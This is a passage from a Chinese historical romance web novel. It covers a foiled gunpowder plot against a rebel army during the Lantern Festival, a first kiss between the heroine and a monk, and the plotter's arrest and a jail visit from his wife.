遥遥正见李定娘主仆廊下离去，他生了疑心，思忖那主母究竟是淫或有别的企图，又不敢贸贸然上前讯问，只得一路火急火燎地赶回书房，低着头找寻，万幸书房门前，得见那钥匙反光，一把抢来别回腰间，再不敢放松。 他见书房门锁完好，松了一口气，想着许是方才胡闹时，不小心丢了钥匙在地，更不敢告与王渡知晓，只当无事发生，遮掩了过去。至于二返花厅，寻人来问主人家是否传唤，又是后话不提。 过了年，应怜按例又要收一份学堂束脩的礼。 各家大人待她甚殷勤，早早地年初三日便来拜年，又是节礼又是束脩，登门送了一箩筐。 初四这日，李定娘上门，也为阿苽送了束脩，乃是十条熏得韧而硬的干肉、两匹光璨璨的蜀锦，另有果子脯条若干、志怪笔记两本。 应怜接出门来，笑道：“难为你自家人还送这么些东西，我厨下已积了百十条干肉，都是这几日送来的，吃得吃到明年头上去了。” 李定娘教女使抬着肉干匹缎送进去，自己亲捧了两册书，待女使去后，交与她，“我必得亲来 的，这书是我千挑万选，里头有趣得很，你保准喜欢。” 说着，微微翻了些页。书页哗啦啦散动，显出里头约略有些不一样的东西来。 应怜想瞧清楚，李定娘却压了一只手，不教她翻，一双眸子盯在她身上，“照我说的做。” 转眼间，女使送毕干肉，已各自回了来，毕恭毕敬跟在李定娘身后。 应怜心中有异，面上未露，只是答应一声，收好了。 姐妹二人说了一番话。待送走了李定娘，应怜径入内室，屏退了春莺等人，翻开那两本笔记，里头赫然夹着一封薄薄的信，抽开来一瞧，当先写着： 【交赵将军芳庭，务必亲启。】 信也没上火漆泥漆，是李定娘信得过她。应怜便摊开纸张看了一眼。 她写得明白，此是王渡书房中所藏，却是几份钱领，王渡私下采买了大批盆硝、木炭、硫黄等物。 应怜一惊，心口砰砰地跳了起来。 李定娘或许不认得，她却记得，应栖曾经胡闹，买了些硝石、木炭、硫黄、皂角，又杂七杂八的零散粉末儿，混在一起，险些炸了人家院子，还被爹爹一顿好打。 这些东西……是造火药用的，这样大至千斤的量，总不会因要制烟花爆竹。 她心中惴惴，收好了信，更不耽搁，当日寻了个空，私下里将信便给了宗契，说明原由，教他从速交与赵芳庭。 宗契自是无有不应，这些日时常与她相见，却甚少摒绝了人等独处，总有些话掖在心里，想说却不大好说。 此时正逢着时机，二人内室里相对，应怜催着他快去。宗契将信揣好了，脚步却顿了顿，眼望着她，“……快上元了，又是一年。” “是啊。”应怜随口一答，见他迟迟未动，眸中情意早已不遮掩，那目光落在自己身上，便有些发烫。她便也后知后觉地脸面微微热起来，两只手推他走，力道却轻，“年景过得快，你若没别的话，快去办事。” 宗契索性回身，只垂首见她在眼前，两只红红的耳朵尖，白玉饺子似的，教人心里痒痒的，生出欲来，想咬一口。他闪了闪心神，将话问出来，“将军应了，上元热闹一日。你……不如咱们，还如去年？” 去年如何？她想了想，哦，是了。 去年他们一起过的。 应怜不住地嘴角翘起来，瞥了他一眼，却教他着急，“晚了，我已应了人了。” 他一怔，皱眉，“谁？” 她笑吟吟地瞧着他，想：这大和尚原来也会拈酸吃醋，她从前还以为他是铁做的。 “不闹你，是定娘表姐。”她笑起来，眼儿弯弯如去岁上元世界的一泓月，“前一时辰我与她才约好，上元一处玩耍，总不好为了你失约。” 宗契有些失望，却也爽快认了，又贪图瞧她，提了个索求，“那明年上元，我先定了。你莫再应旁人，可好？” 应怜脸红成了一片，当真一双手将他往外赶了，“应了应了，只有你，没旁人了，你快去！” 这才将他撵了出去。 第105章 第105章明月初满，东风几度，…… 江宁府有内外二城门，外城门乃是州城府界，内城门囿于州城之内，隔绝的是普通百姓与达官显贵。内城门而外，设了一带极广的空地，甚可供十辆马车并行，一来走了水时，火势蔓延不开；二来若有敌袭，不致教敌军使抓索等物从外头屋顶攀上内城墙。 上元节庆，宁德军主帅单铮与其下将军们便会在此城上露面，与民同庆。故此过了年，周遭一早便忙活开来：要搭山高的彩楼，设连排的木棚，还要堆一座千灯山，绽放宝树仙光。 不论花销，待到这一日，想必是一场喜闻乐见的盛景。 新一年景，时日便在众人的期盼下来到了十五上元。 应怜挑了件八达晕灯笼纹银红锦袄，印金的白绮褶裙，外罩一件浅浅的月白缎子貉袖，喜喜欢欢地将那些个蛾儿、蜂儿、雪柳一簇簇攒在团髻上，唯一支青纱银骨的闹蛾短簪点缀当中，毫无改换。 春莺道：“娘子，这闹蛾有些有旧，不如换了？” “不必换。”镜中应怜自望，顾盼间楚楚生云雾，额间一点宫黄，直如广寒里谪来。 茜草扯住春莺的衣袖，嘀嘀咕咕地咬耳朵，镜边笑作一团。应怜偏过头来，“你们笑什么呢？” 春莺抢道：“茜草说这支闹蛾必是有人送的，娘子这才舍不得换。” 她们是曾听着宗契与她道还俗事的，应怜瞒也瞒不过，嘴上说着“别瞎猜”，脸上却早已有些红了。 她又将萍儿打扮得粉妆玉琢，玉娃娃似的，一大一小，便乘牛车一路来在李定娘家门前，恰逢见府署里常在的五六个妇人，后头跟着一串儿：阿虫、琥珀、陶岳，一个个整齐利索，上蹿下跳。 李定娘无奈道：“这几个小的闹着要来。也好，我再添几个人手，你们把阿苽也带去，我轻省些个。” 萍儿眼巴巴望着应怜，一抬头，髻上的铃铛叮当清香，霎是可爱。 “你也想去？”应怜问。 萍儿点头。 应怜便乐了，索性教他们几个小的一处玩闹去；自个同着李定娘出来，一路赏玩花灯、看杂耍、听曲子，又买那花朵儿似的果子来吃。 这时节，出门看灯的人陆陆续续多了，大街小巷里如滴水入海，逐渐汇入宽敞的南北主道。灯、火、星、月，起先零星，随着四合的暮色，渐至繁密，交相辉映，驱散了寒意，添了几分立春薄薄的馨暖。 应怜虽与李定娘说话，却见她神色间总有一份隐约的心不在焉，要寻时总没个痕迹，以为她因着王渡的事而愁闷，不好细问，只得越发谈笑，想引她开心一些。 二人正没用晚食，便寻了个茶店铺子坐下，要了几样羹蔬酒食，一面闲聊，一面四望周遭的花灯。吆喝声中，应怜环顾，忽人众里若隐若现见一僧人高峻身形，隔了攒动的人头不知凡几，目光断断续续，却不挪眼地望将过来。几个照面间，眉眼疏朗，已是映了月色一般柔和。 她“啊”了一声，心头不受控制地噗通噗通跳动，引来李定娘询问，又向着她目光方向张望。 一会儿，李定娘笑起来，“这却是我的疏忽，忘了你与我不同。” “什么、什么同不同的。”应怜扭过脸，阻绝了街对面的那人，分明素酒不醉人，却一路滑过喉舌，烧得每个毛孔都热乎乎，“咱们吃咱们的。” “我怎敢一直占着你不放。”李定娘道，“况我也有些自己的事要办。他既来了，这后半程——便他来替我一替吧。” 应怜又忍不住回过头去，想人众挨挨，他别真给挤没了。 不想一打眼，恰又望见不远不近的那处，喧腾熙攘的人群，他却似在红尘境外，闹市中自有一股沉静。 宗契静静地瞧着她，不急也不缓，仿佛晓得她就在此处，他也不会离分。 有这携来的目光，时间忽然如静淌的流水，有了实质，一点一滴，教应怜于喧闹中感受到了一种宁静的归属感。 李定娘用了些点心，起身要走，才拉扯回她心神，忙问：“你要去哪儿？” 对方的神情却有几分不同寻常的释然，不答她，反道：“千金易得，一心难求。你们这样，就很好，莫要相负。” 说罢，她不再瞧应怜红着脸张口结舌的模样，辞她而去。 赏灯只看了半程，应怜唤她不回，不由得向她去路而望，仰首只见内外城交界之处，满月皎皎之下，矗立着一座好几丈的灯山，彩幔飘扬，大小异色花灯如东风里百花姹紫嫣红，又有蜂蝶焰火飞旋其间，美轮美奂；相较之下，其后的内城楼虽有灯火千点，却又不如张扬的华彩，黯然失色。 看得久了，那漫天华彩似飞天灵动起来，飘飘彻彻下落。光华之中，她不觉移目，怔然便望见分拨人众、向自己而来的那高大的僧人。 他入 了红尘，来寻她。从前如此，今亦如此。 那一瞬，灯火明霄，应怜近乎痴然，呆呆地想。 外头焰火放起来了，映在苍白的窗纸上，一刹一刹的模糊光点冲天，意想不到的好看。 萍儿捏着鼻子，悄悄儿道：“这里头乱糟糟的，还有一股子怪味，咱们快走吧！” 她说话时，脑袋一动，丫髻上的小铃铛随之乱响；寂寂然幽暗的屋子里，吓得陶岳一窜，捂住她脑袋，想方设法把那铃铛揪扯了下来。 “嘘——你想被守卫捉了去吗！”他凸凸的眼睛瞪得更大了。 前头阿苽倒淡然不惊，蹑手蹑脚，在黑漆漆一片里踅摸了一圈，只是杂物太多，连路也不好走，一会儿便又绕了回来。 几个半大不小的孩子，萍儿、陶岳、阿苽、琥珀、阿虫，最大的琥珀不过刚满十一，最小的阿虫才只六岁，本同着妇人随从，拉拉杂杂十几人看赏花灯，却因嫌管束太多，有心甩脱了几个，又在城门楼处叫住几个望风，他一行五人却趁守卫不备，溜进了内城楼里。 此处不比以往，因着预备上元节庆，便堆陈了好些零碎，光那塞得下三个孩子的木箱，便抬来了百十来副，尽皆挂着大锁，也不知里头盛了什么，又有做灯骨架的竹篾、油纸、麻绳；张布幔的麻、纻、罗、绢；杂耍百戏的各色衣物头冠；林林总总，这里一堆、那里一团，黑咕隆咚，像一只只奇异又扭曲的野兽。 只是萍儿说的不假，味道难闻了些。也不知哪里窜来的一股子刺鼻气息，像硫黄，又掺了别的什么焦臭。 几个孩子挤挤挨挨地施展开来，压低嗓门，争执是走是留、是玩捉迷藏，还是探宝藏。 正争论不下，忽然陶岳手一伸，压着人不得说话，“有人来了，噤声！” 外头响起了脚步声。 光火时而半明，依旧照应窗纱，几人以为是守卫来捉，俱不敢动弹，缩在杂物堆的角落里，屏住呼吸。 很快，那门悄无声息地溜开一条缝，一条人影挤了进来，带着一团光火——他提着盏灯笼，所照之处，笼起了光亮。 几双豆大的眼睛眨也不眨，暗处悄无声息地望着。 那也不知是什么人，脸面模糊，同他们一样，到这黑乎乎的屋里来，灯笼浅浅探了一圈，却径往里走。 不是守卫。陶岳心想，守卫都是厚底的方履，踩在地上，总有哒哒的沉闷声响；这一个却好比猫儿，轻巧无声，仿佛也有一双肉垫子似的。 他耳聪目明，眼见着那光亮停在一处不动，僵死了一般，一会儿，门却传来了极轻微的“哒”的一声。 那人掩门出去了。 他又等了一会，觉着再无声响，在一簇一簇映窗纱的光晕里，终于悄悄探出头来，环望四周，比个手势，“走了。” 里头呼啦一下蹭出来四颗小脑袋，顶着五彩纷呈的布幔子，各自脸上带着惊恐。 陶岳却愈发地兴奋，先扒到门边，细细地听了一会，见无动静，回过头来，“怎样，咱们再楼上去瞧瞧？” 才说着，外头又吵闹起来，纷纷乱乱的脚步上得城墙，有人说笑，有人交谈，当中一个最清晰不过的声音宽洪而沉稳： “怎不见十八？宗契与舟横先生呢？” 刚伸出去的几个小脑袋，连着陶岳，呼啦一下又缩了回去，布幔子里面面相觑：糟了！ 单将军同着一大帮子人过来了，只是在外头高处，俯望城下，似乎并无入城楼内的意思。 那灯山的千丈光明，乍然间九霄里绽放起来，连屋子里也亮了。城下波涛般涌来山呼庆贺之声，有宁德军、有望灯而来的百姓。一瞬间，陶岳耳膜里都被这雷鸣之声震得嗡嗡响。 这就是与民同乐了，义父合该做皇帝的。陶岳无不飘飘然地想。 忽然琥珀一拉他，带着哭腔，指着一处，“火、火烧起来了！” 他一惊，猛望过去，不由得大惊 该死的贼人，竟放倒了那灯笼在此，里头烛火烧着烧着，便将灯笼纸皮烧着，呼啦啦的火燃了起来。 更使人惊恐的是：他先前竟未察觉，那灯笼旁引着一根粗长的绳儿，黑漆油滑，也不知涂了什么。 那绳儿无穷无尽，绕过箱子、绕过布幔、绕过竹竿竹篾，竟盘蛇似的处处露首露尾。陶岳隐隐觉着不妙，眼见着火舌即将舔上长绳，头皮一麻，“快灭火！” 城下也不知围拥了多少人，怎么那山呼海啸，连绵不绝，竟要把天掀翻了去，连单铮等人的笑语声也被盖住了。 几个孩子惶恐去灭火，拿棍子捅、拿脚踩，直把灯笼踩得稀巴烂；那火熄了这处、起了那处，更有一点火星子迸上漆黑的绳儿，一瞬燃了起来。 “泼水、要泼水！”琥珀哭起来。 几个孩子急得“呸呸呸”吐口水，收效甚微。 萍儿道：“咱们出去叫人吧！” “不行！” “不行！” “不行！” 几个七手八脚捂住她嘴，阿苽恼道：“教人晓得了，我得被姐姐打死！” 陶岳急中生智，“尿、尿！尿上去！” 他当下撩袍脱裤，却挤不出两滴来，“……巧了，我才尿过！” 萍儿、琥珀一把捂眼睛，“哎呀！” 阿苽仍在脚踩，脸涨得通红，“君子、君子不露锋芒！我绝不会脱裤子的！” 唯独一个阿虫，懵懵懂懂，恍然大悟。 自年前一回发了高热，好转后阿虫便不那么机灵，据说从前能将《千家诗》背出百来篇，后却连几句“子曰”也记不住，脑子里时常混沌，傻乎乎地跟着人胡闹。 阿虫吃了一路的热饮子，此时节腰带一解，呼呼啦啦一泡长长的童子尿浇了一地，把那漆黑的绳儿教了个透湿。 火便零零拉拉地伏下去了。陶岳长舒一口气，“成了！这一回记你一大功！” 阿虫嘿嘿傻乐。 才说没两句，刺鼻的气味里，几人眼睁睁下，便望见一点火星复从绳上某处燃起，一路猛窜，沿着那黑黑的长蛇，得了势一般，邪乎地烧将起来。 竹木布料尽被点着，也不知是那只木箱被烧穿，呲啦一下，在几人目瞪口呆中，冒出了无尽的浓烟，呛得人对面也难见。 陶岳猛地僵住，想起了在沂州时曾见，真正惊惧起来，拉着几人向外跑：“是火药——” 第106章 第106章多歧路，人散聚。归去…… 浓烟瞬起，百十只木箱旁，漆黑的粗绳锲而不舍地燃烧着，将杂物也一齐燃着，原本幽暗的楼宇忽闪闪有了些光亮。 城楼上众人被惊动，有破门而入的，顾不得孩子胡闹，一个个接了下去。烟从窗隙、门缝中挤出来，滚滚上冒，观望人群一时怔住，紧跟着骚乱起来。 好在事先早已有了部署，着甲的兵士成伍成行，维持秩序，疏通人潮，方不致造成踩踏。 饶是如此，应怜也被裹挟在人潮之中，不由自主地行了一段。 她却远不如去岁上元时那样恐慌，只因有人牵着她。任去哪个方向，她身有所依，犹如一只风筝，牢牢地被线牵紧，无论怎样也丢不去。 宗契在她身旁，怕人潮将她冲散，便又拉紧了一些。两人挨得很近，同被挤在疏散的人群之中，四面的热意一齐涌来，教她从脚底到头顶、每个毛孔都感受到了一股坚定与执着的滚烫。 兵士的指挥呼喝中，人潮最拥堵时，他攥着她手臂、执着她肩膀；渐渐地一路疏散，人与人不再挨得那样近，也不知是谁先主动，他们的手却牵在了一起。 应怜被他牢牢牵着，宽大的手掌包裹着她的，指腹间尽是粗粝的茧，坚硬却温柔地将她围覆。她掌心里热出汗津津的黏腻，心跳得又急又快，悄悄偏头望他一眼，见他微垂的眉眼，耳根也泛着薄薄的红。她轻轻一动手指，热意传递，那薄红便深了一层，怎么拂也拂不 去。 察觉到她的目光，宗契不由回过头来，眸光中情意与热度几乎满溢，牵着她的手也紧了三分。 天上明月玉阙，照映旁人风流云散。笙箫繁杂渐歇，脚步两双，分隔众人，闪进了一处深邃幽长的僻巷。 宗契原本只想带她远离人群，到僻静处落一落脚，待人彻底疏散开后，再寻出回路；待与她真在这一深巷中了，见不知何处的光火映照下，她彷如染了昳丽灵韵的眉眼，一时心跳鼓噪，竟没了话，只顾怔怔盯着她，又离得近些，她便全被笼覆在自己投下的阴影之中。 应怜离了人群，松一口气，嘴角几分笑意，见他默然不语，仿佛发怔似的，不由又忆起一年前，他们扬州游上元，依稀也是这样光景；那时她要慌乱得多，却也被他这么寻着，躲进条小小的巷子里。 想着想着，不禁笑出了声。 宗契勉强回过心神，眼眸定定，低声问：“你笑什么？” “我笑咱们兜兜转转，又与去岁上元相同了。”她抿着嘴，微微翘起嘴角，楚楚流波婉转，剪水之中一点星火跃动。 外头仍有喧杂之声，势头已弱，三三两两人众似抱怨地走过巷口，谁也没注意到里头轻声耳语的两人。 “不，不一样。”宗契低语，喃喃出声，想去思索哪里不同，却又未得，只在她眼眸流转的情意里一再跌落、下陷，仿佛陷入绮丽的幻梦深渊，不愿复醒。 应怜任由他手掌握着，颊面发烫，凝望间接受他眼眸中炙热，臊得心慌意乱，低下头去，只望自己裙下踮来点去的脚尖，故道：“嗯，不一样。那回我丢了鞋，这回没丢。” 往常她说这痴话，他会笑；此时却并不曾听他发笑。 她心又慌乱，从脸颊热到耳根，热意涌上全身，连冬月的严寒也觉不出了。 宗契的身影覆在她周身，将她逼紧在他与墙壁之间。应怜成了自甘投入罗网中的一只飞鸟，栖息在他身怀中，闻着他衣上、身上的气息，忍不住心神晕眩，却毫无再振翅飞出的意愿。 恍惚间，一点温热，落在了额上。 她已是觉着自己脸上发热，未想到这一轻点流连的触碰更为灼烫，回不过心神，不由得抬起头，热意蒸笼之中，有些困惑。 她望见宗契灼灼汹涌的眸光，自上而下，倾压在她身上，那爱意的热度滚烫灼热，几乎要将她烧穿。 一瞬间，心潮疾涌，横冲直撞在她心尖，她愣愣地仰面瞧着他。 宗契在她额上印了个吻，又向下落到她鼻尖，又小又翘，哭的时候便要通红，他每次瞧都觉着十分可爱，心痒痒时便想要碰上一碰。如今终于碰着——用自己的唇。 他微微俯下头，呼吸近在盈尺，与她相触，晓得她受惊，也晓得自己逾礼，但心中爱怜早已深涌，一旦倾泻，再压抑不住，什么规矩、礼节，全数抛在了脑后。 “……不一样。”他凭本能，话语消失在她唇边。 不一样，那时他为她吸引、为她欢喜，却远没有现在这样深入肺腑。那时他尚可昧了心意，割舍离开；如今他的心神、灵魂皆是她的，心甘情愿被困在她一颦一笑的樊笼里，哪怕她让走，他也绝不会走。 他心里只盘旋着这一个念头：不一样，不一样。 然后吻上她颤颤迎来的唇。 眼眸紧闭、脸颊摩挲，唇齿温存。 应怜覆下的眼睫颤动如蝶翼轻展，连唇也在轻颤，慌得不知如何是好，唯有紧紧攀附着他，从手掌、到臂膀，紧紧攥着衣袖，不敢放开。 宗契与她双唇摩挲，但觉口舌中那片颤巍巍的唇**珠比花瓣更柔软，似乎也沁着芬芳，不由得细细含吮；又察觉拥抱之中，她纤细的身子也随之轻颤，仿佛不胜，起先僵着，逐渐温软了下来，攀着他，却又有些受不住。 他索性搂过她身腰，横了一臂在腰后，将她牢牢缚住不往下滑。那唇舌太过美好，一时教他如堕迷梦，忘却了此身的本分，一味地与她纠缠。 应怜被他欺在墙边、搂在怀中密密地亲吻，微张口舌，纳他攻城略地，只觉与他唇齿摩挲处，有股细细的电流窜像四肢百骸，从头顶麻痒到脚心，整个人几乎软如春水，只凭本能依附在他身上，缓缓伸出手臂，踮着脚，环上了他脖颈，与他勾缠。 体内那快意一波一波，犹如浪潮，恰似她心中快意。 她从此有了他。他们真真正正、心意相通地有了彼此。 城楼的烟继续燃着，黑雾一般笼罩在碧瓦屋檐的上方，但久久却只有烟、没有火，更没有火药爆裂时震天的巨响。 王渡骑着早已备好的一匹快马，原想着一路驰骋，一刻内便能奔回府署；却不想路上总有惊慌的人群游走，马不得放开来跑，生生又拖了一刻才回。 风声过耳，早已行至一半，他抽空回望，遥遥见火光闪烁的内城楼上空，盘旋滚滚的浓烟黑雾，却迟迟听不到那一声震天动地的轰响，不由心中犹疑，却转而抛之脑后。 火药没炸，约摸是配比不大准。没如预想中的，将那一干人炸死在城楼，已是失误；为今之计，他只能压注在六皇子身上。只要将六皇子趁乱救出，无论是江宁易主，或随他回洛京，他便从此踏上青云，再不是贼寇可比。 也不枉他这么长时日的刻意结交、拉拢，但得到了洛京，他甚至可以踩着郭显的头更上一步，涉足朝堂，甚至左右风云。 这么想着，王渡全身便灌涌了一股急切的热意，连寒风也被屏退，只得不甘地拉扯他衣袍，发出猎猎衣响。 这一刻的府署，里里外外早已安插了他的人手，只要他一下令，便足以倾覆整座府署，迎六皇子出来坐镇。 王渡一路飞驰到了府署，来不及栓马，径跳下鞍韂，大步入内，在满目琳琅的灯火光亮中，穿过前庭、厅堂、游廊，向那愈发僻静的西院而去。 作为囚犯，郭显自然没有上元观灯的机会；此时他却也未睡下，正在窗边案前看书。窗纱灯明，投下他静谧的剪影，柔和的脸廓依稀分明，若不是身形修长高大，正好似一纸美人图，烙刻在幽窗。 王渡带人进来时，西院守卫瞬间警觉，刀刃各出鞘，却在瞧清他脸容时，为难了起来。 “舟横先生，这不合规矩。”守卫头子道。 仅仅是深夜入西院，就已不合规矩。王渡心内嗤笑，更不答话，只手一挥，后头跟随的一群兵士便一拥而上，随即是喝骂、刀枪之声，杂沓交叠。 不一会，院中若干守卫已俱成刀下之鬼，死尸倒地，鲜血遍布枯石寒草，为这一场变故的前夕增添了一抹不祥的预兆。 王渡虽带来了兵士，那些人却并不大听伏于他，杀灭了守卫，当先穿过庭院，恭敬扣响郭显的屋门，“殿下，末将迎救来迟！” 屋内那一轮剪影静滞了片刻，而后放平书卷，起了身。整副动作流畅自然，未闻一丁点桌椅被拖动的声响。 这是天家郎君自小习得的规范与行止，无论内里是庸是才，外表总是很能唬人的。 院中郭显的旧部副将们呼啦啦跪了一地。郭显独自立于人众之中，鹤立鸡群，并不下跪，唯独在门开时，与郭显目光相对的那一刹，做了个规规矩矩的揖礼。 他们是兵，是家奴；而他是士，是臣，是客。 客不跪主。 郭显清隽的脸容带着笑，那笑却不比一盏寒风中的灯火更暖，“林副将、许副将，你们不是早已回了京，怎会到此？” “是我等与舟横先生暗中联络，潜入城中，为的是救出殿下。”姓林的副将面上恳切激动，迎上前来，“殿下蒙尘，困于贼窠，是臣的罪过。趁贼人未察觉，臣等护保您先离开！” 郭显却不动，王渡惊异地在他脸上瞧出了某些意兴阑珊的神情。” 你们带了多少兵？“郭显问。 许副将此时答话，有些难开口：“这……贼人盘查严密，咱们不敢打草惊蛇，数日来挑选了三百人入城，这会等在外头接应。” 王渡自然也要搭腔，“殿下宽心，我已安置好贼兵，此夜府署里巡查疏松，哪怕殿下想要一举占了此处，待那单铮等人送上门来，一举将他们拿了，也不是难事！” 他对上了郭显似笑非笑的目光。六皇子点头，似是夸奖他办事严密，“舟横先生如此尽心为我，若事成了，又想要什么答报呢？” 王渡有些急，他不大想事未成时便谈报酬，如今当务之急应是逃离险境，而不是肖想事成后的风光。 然而这位殿下约摸是闲散惯了，养成了这一份你急我不急的从容气度，王渡催了一回，他却无动于衷，反又问他那两位副将，是否回过洛京？可曾听闻宫禁中有否异动？太子近日动向如何？ …… 王渡急得汗快要下来，那二位副将也不大稳当了，催促郭显动身。 郭显叹了一声，对他的心腹爱将倒是很看重，却对王渡目露惋惜，“你精心筹划，能到这一步，果真是个人才。若不是值此是非关口，我真想就将你召入府中，做个掌事幕僚，今后你必能成为我的左膀右臂。只可惜……” 王渡心一动，有一股子莫名的寒意附上毛发，“可惜什么？” “可惜你命当绝于此。” 说话的不是郭显，是一个更为低沉宽洪的声音。 北风卷地，吹起腥冷的夜风，冻结了渗入干硬土石中的鲜血。王渡周身的血液仿佛也在此时一瞬被冻结。 他不可置信地回过头，望见院中比夜色更深沉袭入的几人。 ——单铮，赵芳庭，鬼面人，吴览。 他们身后，跟随着乌压压数也数不清的兵士，一双双冰冷的目光聚集来，他在这样的目光下，震惊与胆寒无所遁逃。 以王渡心智，几个呼吸便想通了前后，心中猛地一顿，心绪停在趁夜归来时，中霄里望见楼头浓烟之中。 怪不得只有烟，没有火，原来……原来这计划从一开始便泄露于人前，他们单设下了这套子，等着他来钻！ “纵此前多少耳闻，我从来不信，你当真会叛反。”单铮咬牙，终于被激怒，“王渡，你勾结官兵，百十口箱中满盛火药，欲置我一行于死地；又图荣华富贵，暗中串通郭显，如今人赃并获，你还有何话说！” 串通郭显……是了！王渡面色发白，惊慌之中一双巧舌也失了辩才，却被他一一提点，猛地想起了郭显。 他不止是郭显的拥趸，更是皇子的舅兄！他辛苦奔忙，只为了郭显，郭显不能不保他！ 可当他惶恐地望向郭显，却疑惑地发现，这位阴谋事败的六皇子，还如方才那般事不关己，一切他曾以为是表象的冷淡神情之下，并没有透出一丝一毫愤恨或慌促。 ——好像他在隔岸观火。 连林、许二副将也不安地愤怒起来，身上鳞甲碰撞发出当啷闷响，局促地攥紧兵刃，却犹疑着不知该拼一死杀出重围，还是放下刀兵，束手就缚。 直到郭显向他们投来一个淡淡警告的目光，那二人才心领神会，懊恼之中，丢下了兵刃。 叮呤当啷一阵，是他们带来的兵士们，一齐丢了兵刃，与主帅同时投降。 “赵将军，这下你总该信我了吧？”郭显向赵芳庭示出了最大的诚意，“我若想逃，根本不必拖到如今，在一个叛徒的护保下出逃。我之所以待在这里，是来与诸位共商大事的。我的命在诸位手里，你们若还不信我，便一刀将我斩了，除后患便是。” “舅兄！殿下！”王渡的慌张涨至极点，他惊慌地发现自己陷入了某种猎网，更可笑的是，自己却不是那只最大的猎物，他只是个顺手捎来的。 郭显静默的目光转向他。 王渡狂乱攀着这一根救命稻草，大震之下语无伦次，“我是忠心向您的，您要救我！您得救我！若教他们把我杀了，今后还有谁敢归附于您！您会沦为天下人的笑柄！” 郭显答道：“你说得对，不保忠义之士，会寒了天下忠义的心。可……妹夫，你忠义么？你忠于何物？钱财？权势？” 王渡呆呆地瞧着他。宁德军的兵士披坚执甲上前，左右将他毫不费力地拿住，他也还没反应，只是瞧着郭显，不肯认命。 “你身在宁德军中，所忠者，便只能是宁德军之主，而不是我。”郭显平静地与他说话，“我很感谢你选择了我，但命不逢时，我身边，从来只容得下忠君、或忠苍生之人——你不是。况且你这妹夫当得也不大合格，比起你，我倒更情愿换一个。” 他说最末一句时，眼风从呆若木鸡的王渡身上离开，轻飘飘扫了一下青面獠牙的鬼面人。 王渡一腔的青云梦，被他一番话碾得粉碎，身边兵士拖他离开，他只觉这梦中的明君竟如此不堪，大悔错看了人，疯狂地叫起来：“郭显！你看错了我！我为你家破人亡、沦落至此！你却缩在江宁龟壳里，畏首畏尾！你纵他们杀贤良，就算得了大位又如何？你不是明君，你做不了明君——” 郭显平静的眉宇，终于微微拧起，犹如被一颗石子激荡出涟漪的湖面。 他仍未说什么，只眼睁睁看他被兵士拖走，消失在暗沉的院外。王渡不止息地叫骂渐渐远去，他回过头来，半晌道：“到底是我害了他。” 他立在廊下，许林二将在他身后，徒然与满院的宁德军沉默对峙。郭显却松了口气，笑着拍了拍他们的肩，向单铮求情：“我的二位副将原也不是宁德军的人，他们一向赤胆忠心，只是武将头脑糊涂，将军可予我几分薄面，免了他们惊扰的罪过？” 单铮说好。 寒而深冷的上元夜，时至中霄，明月更满，郭显只着了不大厚的锦袄，耐不住这寒，便请单铮入内，相谈一二。 单铮进屋，见赵芳庭也要跟随上前，只一刹的迟疑，飞快得几乎谁也没注意，道：“十八，你先回去。” “哥哥？”赵芳庭却注意到了。 王渡之事尽在他一手掌握之中，那百十口木箱也早被他私下里命人泼了水，哪怕城楼之上浓烟遮天，他也并不觉怎样稀罕；而此时，在郭显平静俊秀的面容下，在单铮低声安抚的话中，他却敏锐地觉出了一股不同寻常的气氛。 这气氛令人不安，是他难以接受的某种征兆。但显然，他哥哥与这位皇亲贵胄似乎达成了一些默契。 他几乎想笑，朝廷与反叛能有什么默契？共分天下吗？ 但赵芳庭笑不出来，甚至在屋门被轻轻关上的那一声响中，慢慢地悚然惊起，有一种侵人骨髓的冷意从脚底心升起，直冻上他平日里自诩聪明的那颗心窍。 在鬼面人、吴览默默的注视下，他并未如期离去，而是就这么立在庭院之中，任由寒夜风声剐蹭脸面，望那窗纱之上，幽幽晃晃隐约错落的两道人影。 他们似在交谈，而他死死地盯着，直到旁人离去，他孤峭地伫立寒庭。 王渡被不留情面地投进了府署的牢狱，这里暗无天日，哪怕一盏极小的灯笼也无。黑暗中却有某些窸窸窣窣的响动，是穿梭囚牢之间的虫鼠，偶尔飞快压着他锦罗的衣袍窜走。王渡起先心惊肉跳，不多会，便已习惯了。 他呆呆地坐在脏臭的地上，脑中反反复复回想哪里出了纰漏。 或是度支的账目不平，他们追根究底，揪出了火药材料的蛛丝马迹；或是他的一二心腹反叛，自首于单铮。但无论哪样，都似乎不大可能。 账目是他亲自做的，他十二岁上，便能做出一手严丝合缝的账目，再无人能挑出错来；心腹也是跟随他数年，各方面都唯他马首是瞻，绝不会反叛。 冥思苦想，不得其果。 然与其想前事，不如多想想后路。 可后路也绝没有什么善终。他做下滔天的祸行，纵然单铮饶他，他身边那赵芳庭也绝不会留他命在。 不过是一个好死与非刑横死的区别。 越想越心惊，王渡漆黑的视线里，却陡然出现了一点豆大的光火。 那光亮起先很小，随着一个轻巧的脚步，渐渐扩大。一人提着灯笼，半身浸在明暗不定的澄黄之中，缓缓朝他走来。 左右牢狱只他一人，这是来寻他的。 王渡心一惊，以为事有转机，一跃而起，抱着最后一丝希冀，盯着来人，待终于望清，只觉一盆冰水从头浇到脚，希望返而覆灭，更比从来没有还要绝望。 是她。 牢狱里不见天日，常年阴湿冰冷，更有一股子缭绕不去的腐臭。李定娘微微皱着秀丽的眉头，一手掩鼻、一手提了灯笼，缓缓寻到他这间跟前，隔着手臂粗的铁栏，与他对面而立。 王渡满心满目的愤恨，一下又 跌坐回阴潮杂乱的草杆堆上。 从前他惯常看她，以居高临下的夫主的眼光；如今二人调转，她整齐干净，他却一朝被打落谷底，想也不用想，面临的该是怎样冷嘲热讽。 李定娘犹如对待地牢里污浊的臭气，也皱眉掩鼻望着他，前后相差太多，她一晌没想起要说什么话。 王渡道：“我就要死了，你开心了？很快就能和你的姘头双宿双飞了吧。” “你指哪一个？”李定娘问。 王渡一口气憋在心肺里，憋得咳了半天。 李定娘犹不知足，又道：“夫君，你怎么把自己弄成这副狼狈模样？死便死了，死后还声名不保，人说到便要唾一口的，真真可怜。” 夫妻之间，才更清楚彼此痛处。王渡把脸面看得比命更大，哪里受得了这一激，猛地怒斥：“住嘴！下。贱东西，我是命中遭劫要了你这么个娼。妇，才有这祸事连连！我死了，你又能好到哪里去？一辈子背着‘罪眷’的名头，谁会当真要你！” 